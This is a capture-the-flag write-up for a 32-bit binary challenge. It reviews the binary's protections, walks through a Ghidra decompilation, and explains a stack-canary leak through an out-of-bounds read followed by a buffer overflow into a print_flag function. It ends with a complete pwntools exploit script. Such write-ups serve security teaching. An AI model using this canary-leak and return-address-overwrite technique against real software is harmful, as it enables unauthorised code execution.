Initial Assessment
Upon initial examination of the binary, the following properties and security measures were identified:
Architecture: The binary is compiled for the i386 architecture, indicating that it is intended for 32-bit Intel x86 systems.
Canary and Non-executable Stack Mitigation: The binary has enabled security measures, including the use of a “canary” and a non-executable stack. The canary is a random value placed on the stack before local variables, which helps detect stack overflows. Additionally, marking the stack as non-executable prevents the execution of code from that memory region, enhancing security.
PIE (Position-Independent Executable) Mitigation: PIE mitigation is disabled in this binary. Consequently, the binary’s base address is not affected by Address Space Layout Randomization (ASLR). This lack of ASLR protection may have implications for the binary’s exploitability.

Detailed Analysis
Opening binary in Ghidra .
Here’s a breakdown of what the Main function is doing:
It initializes several local variables, including a bunch of
undefined4variables (which are essentially 4-byte integers) and a few other variables of different types.It enters a loop using a
while (true)construct. Inside this loop, it performs the following actions:It calls a function named
print_menu. Which print the menu.It reads two bytes from the standard input into the variable
local_8a.It checks if the character represented by
local_8ais equal to ‘F’. If true, it prompts the user for some data and reads it intolocal_88.If
local_8ais not equal to ‘F’, it proceeds to the nextwhileloop.Inside the next
whileloop, it checks iflocal_8ais equal to ‘V’. If true, it prompts the user for an index, reads it intolocal_94, and then calls a function namedview_accountwith the address oflocal_88andlocal_94as arguments. This will Read value from memmory.If
local_8ais not equal to ‘V’, it proceeds to the nextwhileloop.Inside the third
whileloop, it checks iflocal_8ais equal to ‘E’. If true, it breaks out of the loop and proceeds to the next section of code.If
local_8ais not equal to ‘E’, it prints “Invalid choice”.
After exiting the loop, it prompts the user for the size of a name and reads it into
local_90.It then prompts the user for a name and reads it into
local_48.There is a conditional check
if (local_8 != *(int *)(in_GS_OFFSET + 0x14))which appears to be a stack protection check. If this check fails, it calls__stack_chk_fail()which typically triggers a stack smashing error.Finally, the function returns 0.

This is a C function named print_flag that does the following:
It calls the
systemfunction with the command"cat ./flag". Thesystemfunction is used to execute shell commands. In this case, it’s running thecatcommand to display the contents of a file namedflag.After executing the command, the function returns.

Vulnerability Assessment

This enables us to perform an out-of-bounds read, thereby allowing us to extract the canary value.

By manipulating the number of bytes read in the buffer, we induce a buffer overflow, granting us the ability to redirect code execution towards the ‘print_flag’ function.
Flag

Exploit Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/python3
from pwn import *
import struct
# context.terminal = ['tmux','splitw','-h']
os.environ['XDG_CACHE_HOME'] = '/tmp/'
context.log_level = 'error'
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify GDB script here (breakpoints etc)
gdbscript = '''
continue
'''.format(**locals())
exe = './bin'; elf = context.binary = ELF(exe, checksec=False);exe_rop = ROP(elf,checksec=False)
libc = elf.libc ; libc_rop = ROP(libc,checksec=False)
io = start()
canary = b"0x"
for i in range(131,127,-1):
io.sendlineafter(b">",b"V")
io.sendlineafter(b"Index : ", str(i))
canary+=io.recvline().split(b": ")[1].strip(b"\n")
for i in range(12):
#sleep(1)
print("Leaking Canary "+"."*i)
canary_int=(int(canary,16))
print(f"Leaked Canary : {hex(canary_int)}")
io.sendlineafter(b">",b"E")
io.sendlineafter(b"Name Size : ",b"500")
payload = b""
payload += b"A"*0x40
payload += p32(canary_int)
payload += b"aaaa" #EBP
payload += p32(elf.sym.print_flag)
io.sendlineafter(b"Name : ",payload)
io.interactive()